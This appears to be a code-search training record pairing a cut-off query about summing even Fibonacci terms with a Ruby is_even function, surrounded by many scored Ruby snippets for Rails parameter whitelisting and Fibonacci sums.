{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... By considering the terms in the Fibonacci sequence whose values do not exceed four million, find the sum of the evenvalued terms.
def is_even(num) if num % 2 == 0 return num else return 0 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_even_fib_terms(max)\n sum = 0\n \n # initialize sequence\n t0 = 1\n t1 = 2\n \n while t1 < max\n if t1 % 2 == 0\n sum += t1\n end\n\n # advance to next term in the sequence\n t2 = t0 + t1\n t0 = t1\n t1 = t2\n end\n\n sum\nend", "def even_fibonacci_sum(limit)\n array = [0, 1]\n array << (array[-1] + array[-2]) while (array[-1] + array[-2]) < limit\n array.select(&:even?).reduce(:+)\nend", "def even_fibonacci_sum(limit)\n fib_seq = fibonacci_sequence(limit)\n sum = 0\n fib_seq.each{|fib_num| fib_num%2 == 0 ? (sum += fib_num) : ()}\n\n return sum\nend", "def sumOfEvenFibonacciNumbersUnderN(n)\n\n return 0 if n <= 2 \n \n fibonacci = [0,1]\n total = 0\n\n until fibonacci.last >= n\n \tfibonacci << fibonacci.last + fibonacci[-2]\n \ttotal += fibonacci[-1] if fibonacci[-1].even? \n end\n\n total \n\nend", "def sum_even_fibonacci_numbers(num)\n even_fibonacci_numbers = fibonacci_numbers(num).select{|number| number.even?}\n even_fibonacci_numbers.inject(:+)\nend", "def even_fibonacci_number(n)\n sum = 0\n fib1 = 0\n fib2 = 1\n while fib2 < n\n temp = fib1\n fib1 = fib2\n fib2+=temp\n sum += fib2 if fib2.even?\n end\n p sum\nend", "def even_fibonacci_numbers(maxNumber)\n\n sum = 0\n\n previous_num = 1\n current_num = 2\n\n while(current_num < maxNumber)\n\n if(even?(current_num))\n sum += current_num\n end\n\n temp_current_num = current_num\n current_num += previous_num\n previous_num = temp_current_num\n\n end\n\n return sum\n\nend", "def fib(num_terms) \n last=0 #last value on the fibonacci sequence\n current=1 #last value plus itself\n term=0\n fib_even_number=0 #sum of even-valued numbers\n i=0 \n \n until i==num_terms #loop to retrieve fibonacci numbers\n term=last+current\n if i ==0 #esthetic if to have a fist term with no extra comma\n print \"#{term}\"\n else\n print \", #{term}\"\n end #if\n if term%2==0 #loop to retrieve even-valued numbers and add them\n fib_even_number+=term\n end #if\n last=current\n current=term\n i+=1\n end #until\n print \"\\n The sum of the even-valued numbers is: #{fib_even_number}\"\nend", "def fibonacci_sum(limit)\r\n\tsum = 0\r\n\tprev_term = 1\r\n\tcurr_term = 2\r\n\twhile curr_term <= limit \r\n\t\tsum += curr_term if curr_term % 2 == 0\r\n\t\thold = curr_term\r\n\t\tcurr_term += prev_term\r\n\t\tprev_term = hold\r\n\tend\r\n\treturn sum\r\nend", "def sum_of_even_fibonaccis(limit)\n # Fibonacci sequence starts with 1,2\n holder = [1,2]\n\n # Adding the last 2 elements of the array together\n while (holder[-1] + holder[-2]) < limit\n # Push the sum of the last 2 numbers into the existing array\n holder << holder[-1] + holder[-2]\n # Repeat the while loop\n end\n # Return the array, but select only the even numbers and add them together\n return holder.select { |num| num.even? }.reduce(:+)\nend", "def fibonacci\n\tresults, first, second, current = 0, 1, 2, 2\n\twhile current <= 4000000\n\t\tif current % 2 == 0\n\t\t\tresults += current\n\t\tend\n\t\tcurrent = first + second\n\t\tfirst, second = second, current\n\tend\n\treturn results\nend", "def sum_of_even_fib(max)\n sum = 0\n fib = [0, 1, 1]\n\n while fib.last < max\n next_term = fib[-1] + fib[-2]\n fib << next_term\n sum += next_term if next_term.even?\n end\n\n puts sum\nend", "def even_fibonacci(limit)\r\n start = [1, 2]\r\n\r\n start << start.last(2).inject(:+) while start[-1] < limit\r\n\r\n start.select { |number| number.even? }.inject(:+)\r\nend", "def even_valued_number(x)\n fib_array = [0,1]\n x.times do\n fib_array << fib_array[-1] + fib_array[-2]\n end\n fib_array.find_all{ |number| number % 2 == 0}.reduce(:+)\nend", "def even_fibonnaci_numbers(number)\n first = 1\n second = 1\n fibonnaci = first + second\n total = 0\n\n until fibonnaci > number\n total += fibonnaci if fibonnaci.even?\n\n first = second\n second = fibonnaci\n fibonnaci = first + second\n end\n\n return total\nend", "def problem_two\n fibs(4_000_000).select { |n| n.even? }.reduce(&:+)\n end", "def sumOfEvenFibonacci(n)\n\t# sum of f(2),f(5),f(8),f(11),f(14),etc is needed. f(5) is 8, f(6) is 13, f(7) is 21\n\tsum = 10\n\tfn2 = 8\n\tfn1 = 13\n\tfn = 21\n\ti = 8\n\twhile (fn < n)\n\t\tif i % 3 == 0 then sum = sum + fn end\n\t\tfn2 = fn1\n\t\tfn1 = fn\n\t\tfn = fn1 + fn2\n\t\ti += 1\n\tend\n\treturn sum\nend", "def even_fibonacci(number)\n even_sum = 0\n fib1 = 1\n fib2 = 2\n fib_count = 0\n\n if number < 3\n even_sum = 0\n else\n while fib_count < number\n if fib2 % 2 === 0\n even_sum += fib2\n end\n fib_count = fib1 + fib2\n fib1 = fib2\n fib2 = fib_count\n end\n end\n\n puts even_sum\n return even_sum\nend", "def even_fib_sum(array)\n# finds sum of array's even-valued terms\n array.select{ |i| i.even? }.reduce(&:+)\nend", "def sum_of_even_fibonaccis(limit)\n\n holder = [1,2]\n\n while ( holder[-1] + holder[-2] ) < limit\n holder << holder[-1] + holder[-2]\n end\n\n return holder.select { |n| n.even? }.reduce(:+)\n\nend", "def even_fib_sum\n a = 1\n b = 2\n c = a + b\n sum = 2\n while c < 4000000\n a = b\n b = c\n c = a + b\n sum += c if (c % 2 == 0) && (c < 4000000)\n end\n sum\nend", "def even_fib\n x=[0,1]\n i = 0\n a = []\n\n while x.last < 4000000\n x.push(x[i] + x[i+1])\n i += 1\n end\n\n x.pop\n\n x.each do |blah|\n if blah.even?\n a.push(blah)\n end\n \n end\n\n a.reduce(:+)\n\nend", "def sum_even_fibonacci(max)\r\n arr = [1,2]\r\n while arr[-1] + arr[-2] <= max\r\n arr << arr[-1] + arr[-2]\r\n end\r\n total = 0\r\n arr.each { |x| total += x if x.even? }\r\n total\r\nend", "def even_fib_sum(limit)\n fib0, fib1, sum = 1, 2, 0\n while fib1 <= limit\n sum += fib1 if fib1 % 2 == 0\n fib0, fib1 = fib1, fib0 + fib1\n end\n sum\nend", "def fib_arry\n arr = [1, 1]\n a = 0\n b = 1\n while arr[a] + arr[b] <= 4000000\n arr << (arr[a] + arr[b])\n a += 1\n b += 1\n end\n # step 2 determine which are even\n evens = arr.select { |num| num.even? }\n # step 3 sum\n puts \"This is the sum of all even fibonacci numbers less than 4,000,000: #{evens.reduce(:+)}\"\nend", "def even_fibs_recursive(num, term1 = 1, term2 = 2, sum = 2)\n \n next_term = term1 + term2\n return sum if next_term >= num\n\n sum += next_term if next_term % 2 == 0\n\n even_fibs_recursive(num, term2, next_term, sum)\n\nend", "def even_fibonacci(n)\n\tif n == 0\n\t\treturn 0\n\telsif n == 1\n\t\treturn 2\n\telse\n\t\treturn 4*even_fibonacci(n-1)+even_fibonacci(n-2)\n\tend\nend", "def even_fibs_sum(num)\n fibs = [0,1]\n \n while fibs.max < num\n nexty = fibs[-1] + fibs[-2]\n fibs << nexty\n end\n \n sum = 0\n fibs.map {|x| sum += x if x.even? }\n \n return sum\nend", "def even_fibonacci_numbers\n a = 1\n b = 2\n\n total = b # b= 2, even number.\n\n while b < 4_000_000\n c = b\n b = a + b\n a = c\n if b % 2 == 0\n total += b\n end\n end\n puts total\nend", "def evenFibs(num2)\n sumArray = []\n fib_index = 3\n a, b = 1, 1\n\n # push Fibonacci to array \n while fib_index <= num2\n c = a + b\n a = b\n b = c\n fib_index += 1\n\n if ((c % 2) == 0)\n sumArray.push c\n end\n end\n\n d = sumArray.inject(:+)\n\n puts d.to_s\n\nend", "def even_fibonacci(limit, current, prev, sum = 0)\n return sum if current >= limit\n\n sum += current if (current % 2).zero?\n current, prev = current + prev, current\n even_fibonacci(limit, current, prev, sum)\nend", "def four_million_fibonacci()\n arr = [1, 2]\n num = 0\n even_sum = 2\n\n while num < 4000000 do\n num = arr[-1] + arr[-2]\n arr << num\n if num % 2 == 0 \n even_sum += num \n end\n end\n\n puts even_sum\nend", "def even_fib_sum(n)\n f = ->(x){ x < 2 ? x : f[x-1] + f[x-2] }\n\n value =f[2]\n res = cnt = 0\n while value <= n\n res+=value if value.even?\n cnt+=1\n value=f[cnt]\n end\n res\nend", "def fiboEvenSum(number)\n\tsum = 0\n\tpreviousDigit = 1\n\tfiboDigit = 0;\n\n\twhile fiboDigit < number\n\t\ttemp = fiboDigit\n\t\tfiboDigit += previousDigit\n\t\tpreviousDigit = temp\n\t\tif fiboDigit % 2 == 0\n\t\t\tsum += fiboDigit \n\t\tend\n\tend \n\tsum\nend", "def even_fib(limit) \n time = Benchmark.realtime {\n # fib sequence goes [0,1,2,3,4,5,6,7,8,9, 10 ...]\n # first few terms = [1,1,2,3,5,8,13..]\n limit = limit \n sum = 0\n first = 1 \n second = 1\n until second > limit \n if second % 2 ==0 \n sum += second\n end\n total = first + second\n puts \"adding first #{first} to second value #{second}\"\n first = second\n second = total\n puts \"total of two sequence = #{total}\"\n puts \" ---------------------------------------\"\n puts \"even sum is #{sum}\"\n puts \" ---------------------------------------\"\n end\n }\n p \"it took #{time} seconds\"\nend", "def fib_even_sum(n)\n fib_arr = [1, 1]\n sum = 0\n\n until fib_arr[-1] >= n\n fib_arr << (fib_arr[-2] + fib_arr[-1])\n sum += fib_arr[-2] if fib_arr[-2].even?\n end\n\n sum\nend", "def fibonacci(p2, p1, sum)\n next_number = p2 + p1\n return sum if next_number >= 4000000\n sum += next_number if next_number.even?\n fibonacci p1, next_number, sum\nend", "def fibonnaci_even(limit)\n fibonnacci = [1, 1]\n (1...limit).each { fibonnacci << fibonnacci.last(2).sum }\n fibo_even = fibonnacci.select { |num| num.even? }.sum\nend", "def even_fibonacci_sum(limit)\n fibs = [1, 2]\n even_fibs = 2\n next_fib = 3\n\n while next_fib < limit\n fibs << next_fib\n #binding.pry\n even_fibs += next_fib if next_fib % 2 == 0\n next_fib += fibs[-2]\n end\n even_fibs\nend", "def fibonacci\n first = 1\n second = 2\n sum = second\n\n while sum < 4000000 do\n third = first + second\n first = second\n second = third\n\n sum += third if third.even?\n end\n puts sum\nend", "def fibonacci(term1, term2, num_terms)\n series = [term1, term2]\n series << series[-2] + series[-1] until series.length == num_terms\n series\nend", "def fibonacci2(n)\n sum = 1\n first_prev = 1\n second_prev = 1\n 3.upto(n) do |num|\n sum = first_prev + second_prev\n first_prev = second_prev\n second_prev = sum\n end\n sum\nend", "def fib \n arr = [0, 1]\n\n while arr[-1] + arr[-2] <= 4_000_000\n arr << arr[-1] + arr[-2]\n end\n arr.select(&:even?).inject(:+)\nend", "def even_fibs(limit)\n a = []\n i = 0\n j = 1\n \n while j < limit do\n i, j = j, i+j\n a << j if j.even?\n end\n a.sum\nend", "def fibbernacho(number)\n\t\n\tprimer = [0,1,1]\n\tn= 0\n\tevensum = 0\nwhile n <=100 && primer.last < 5000000\n\tprimer << (primer.last + primer[-2])\n\tprimer.last\n\t\tif primer.last % 2 == 0\n \t\t evensum += primer.last\n\t\tend\n\tn+=1\n\tend\n\tputs \"The sum of all even Fibbonacci numbers in the sequence up to #{number} is #{evensum}\"\n\tputs \"The value chain: #{primer.inspect}\"\nend", "def Fibonacci_max()\n\ts = [1,1]\n\tputs s\n\tx = s.last\n\teven_sum = 0\n\twhile x < 4000000 \n\t\tc = s.count\n\t\tn = s[c-2]+s[c-1]\n\t\ts.push(n)\n\t\teven_sum = even_sum + n if n%2 == 0\n\t\tx = s.last\n\tend\t\n\ts.delete(s.last)\n\tputs even_sum\n\nend", "def fibonacci\n\n # write a fibonacci sequence\n # make an array\n fibonacci_sequence = [1, 2, 3, 5, 8]\n while true\n the_length = fibonacci_sequence.count - 1\n if fibonacci_sequence[the_length] + fibonacci_sequence[the_length - 1] > 4000000\n break\n end\n fibonacci_sequence << (fibonacci_sequence[the_length] + fibonacci_sequence[the_length - 1])\n end\n # p fibonacci_sequence\n\n # find the even numbers in an array\n # find if a particular number is even\n # make a loop to check them all\n even_array = []\n fibonacci_sequence.each do |number|\n if number % 2 == 0\n even_array << number\n else\n end\n end\n\n p even_array\n\n sum = 0\n even_array.each do |number|\n sum += number\n end\n\n p sum\nend", "def sum_even_fib(upper_limit)\n sum = fib0 = 0\n fib = 1\n while (fib < upper_limit)\n sum+= fib if(fib%2 == 0)\n temp = fib0\n fib0 = fib\n fib+= temp\n end \n sum\nend", "def sum_of_even_fibonaccis2(n)\n\tfibs = []\n\tnth = 0\n\tfibs[nth] = fibonacci[nth]\nend", "def fib(terms)\r\n\tfib_arr = [0,1]\r\n\tfor i in 2...terms\r\n\t\t\tfib_arr << fib_arr[i-1]+fib_arr[i-2]\r\n\tend\r\n\tfib_arr\r\n#\tfib_arr[-1]\r\nend", "def fibevensum xmax\n a, b = 1, 2\n sum = 0\n while a < xmax\n sum += a if a.even?\n a, b = b, a + b\n end\n sum\nend", "def getFibbo\n prev_num = 1\n cur_num = 2\n running_total = 0\n sum_total = 0\n while (prev_num < 4E6)\n if (prev_num % 2 == 0)\n sum_total += prev_num\n end\n running_total = cur_num + prev_num\n prev_num = cur_num\n cur_num = running_total\n puts \"Current total is #{running_total}\"\n end\n return sum_total\nend", "def even_fibo_summer(upper_limit)\n f0 = 0\n f1 = 1\n sum = 0\n\n loop do\n f2 = f0 + f1\n break if f2 > upper_limit\n # puts \"f2 is #{f2}\"\n sum += f2 if (f2 % 2 == 0)\n # puts \" sum is #{sum}\"\n f0 = f1\n f1 = f2\n # puts \" f0 is now #{f0} and f1 is now #{f1}\"\n end\n\n puts \"The sum of the even-valued Fibonacci numbers under #{upper_limit} is #{sum}.\"\nend", "def fibonacci_evens_sum(limit)\n arr = []\n a,b = 0,1\n #While 'a' is less than the specified limit, the value of each subsequent number is the sum of the previous two,\n #creating the Fibonacci sequence.\n while a < limit\n arr << a\n a, b = b, a + b\n end\n #When the limit is reached the 'select' method returns an array of 'num's that are divisible by 2 with no remainder.\n #The 'reduce' method then adds every item in the returned array together. The 'reduce' method is just an alias for the \n #'inject' method, so they can be used interchangeably.\n sum = arr.select {|num| num % 2 == 0}.reduce(:+)\n puts sum\nend", "def fib(n)\n if n <= 2\n return [0, 1].take(n)\n end\n previous_fib = fib(n-1)\n next_ele = previous_fib[-1] + previous_fib[-2]\n previous_fib << next_ele\nend", "def sum_evens max_number\n fibonacci_array.each do |value|\n even_number_array << value if value.even?\n end\n even_number_array.sum\n end", "def nthFibonacci (n)\r\n # Your code here\r\n f = [0, 1, 1, 2, 3, 5, 8]\r\n if n < 7\r\n return f[n]\r\n end\r\n\r\n t = 6\r\n fn = 8\r\n\r\n while t < n\r\n fn = (fn * PHI).round(0)\r\n t += 1\r\n end\r\n\r\n return fn\r\nend", "def fibonacci2(n)\n return 0 if n == 0\n return 1 if n == 1 || n == 2\n last = 0\n lastlast = 1\n current = 0\n n.times do\n current = last + lastlast\n lastlast = last\n last = current\n end\n current\nend", "def q9_fibonacci(num)\n f1 = 0\n f2 = 1\n (num-1).times {|_|\n tmp = f2\n f2 += f1 \n f1 = tmp\n }\n f2\nend", "def sum_fibs(number)\n sum, previous_num, current_num = 0, 1, 0\n\n while current_num <= number\n sum += current_num if current_num.odd?\n current_num, previous_num = previous_num, (current_num + previous_num)\n end\n\n sum\nend", "def fib2(first_num, second_num)\n limit = 100\n while second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def two\n first = 1\n second = 2\n third = 0\n acc = second #initialized to first even term\n begin\n third = first + second\n if third > 4000000\n break\n end\n puts third\n if third%2 == 0\n acc+=third\n end\n first = second\n second = third\n end while true\n acc\nend", "def fibo_tr(n, acc1, acc2)\n if n == 0\n 0\n elsif n < 2\n acc2\n else\n return fibo_tr(n - 1, acc2, acc2 + acc1)\n end\nend", "def fib(n)\n n.times.each_with_object([0,1]) { |_, results| results << results[-2] + results[-1] }\nend", "def fibonacci_seq(max)\n first = 1\n second = 2\n sum = 2 # accounts for the first fibonacci pair\n while((first + second) < max)\n third = first + second\n first = second\n second = third\n sum += third if third.even?\n end\n puts sum\nend", "def fibonacci(n)\n last_two_fib = [1, 1]\n\n (n - 2).times do\n last_two_fib = [last_two_fib[1], last_two_fib.sum]\n end\n last_two_fib.last\nend", "def fib(n)\n last_two = [0, 1]\n counter = 3\n\n while counter <= n\n next_fib = last_two[0] + last_two[1]\n last_two[0] = last_two[1]\n last_two[1] = next_fib\n counter += 1\n end\n\n n > 1 ? last_two[1] : last_two[0]\nend", "def euler002\n sum = 0\n fib = [1, 1]\n while fib[1] < 4e6\n sum += fib[1] if fib[1].even?\n fib = [fib[1], fib[0] + fib[1]]\n end\n sum\nend", "def iter_fib(n)\n return n if n == 0 || n == 1\n\n two_before = 0\n one_before = 1\n\n for i in 2..n\n current = two_before + one_before\n two_before = one_before\n one_before = current\n end\n one_before\nend", "def sum_fib_evens(max)\n sum = 0\n n = 1\n while fibonacci(n) < max\n if fibonacci(n).even?\n sum += fibonacci(n)\n end\n n += 1\n end\n return sum\nend", "def fibonacci(nth)\n result = []\n nth.times do \n result.size < 2 ? result << 1 : result << (result[-2] + result[-1])\n end\n result[-1] # result.last\nend", "def fibonacci_fast_doubling(n)\n return 1 if n <= 2\n\n nums = []\n while n > 0\n nums << n\n n /= 2\n end\n\n a = 0 # F(n) = F(0)\n b = 1 # F(n + 1) = F(1)\n\n until nums.empty?\n n = nums.pop\n c = a * ((2 * b) - a) # c = F(2n)\n d = b**2 + a**2 # d = F(2n + 1)\n if n.odd?\n a = d\n b = c + d\n else\n a = c\n b = d\n end\n end\n a\nend", "def fibonacci(n)\n result = []\n i = 1\n while i <= n\n if i == 1 || i == 2\n result << 1\n else\n result << result[i - 3] + result[i - 2]\n end\n i += 1\n end\n result.last\nend", "def sum_of_fib(n)\n return fib(n+2)-1;\nend", "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n\n [fib(n-1),fib(n-2)].reduce(:+)\n\t\nend", "def fibs(n)\n result = []\n penultimate = 0\n last = 1\n ## skips iteration if n = 0\n 1.upto(n) do |num|\n if num == 1\n result << penultimate\n elsif num == 2\n result << last\n else\n next_num = penultimate + last\n penultimate = last\n last = next_num\n result << next_num\n end\n end\n return result\nend", "def euler2\n fibs = [1, 2]\n sum = 2\n fn = 0\n\n while fn < 4000000\n\n fn = fibs[fibs.length-1] + fibs[fibs.length-2]\n fibs.push(fn)\n\n if fn % 2 == 0\n sum = sum + fn\n end\n\n end\n\nend", "def fibsum(n)\n\tsum = 0\n\tfib = [1,2]\n\ttest = fib[-1]\n\twhile test <= n:\n\t\tsum += test if test % 2 == 0\n\t\tfib << test + fib[-2]\n\t\tfib.shift\n\t\ttest = fib[-1]\n\tend\n\tp sum\nend", "def fibonacci(int)\n range_array = (1..int).to_a\n final_array = [1,1]\n range_array.each do |num|\n p num > 2 ? final_array << final_array[num-3] + final_array[num-2] : 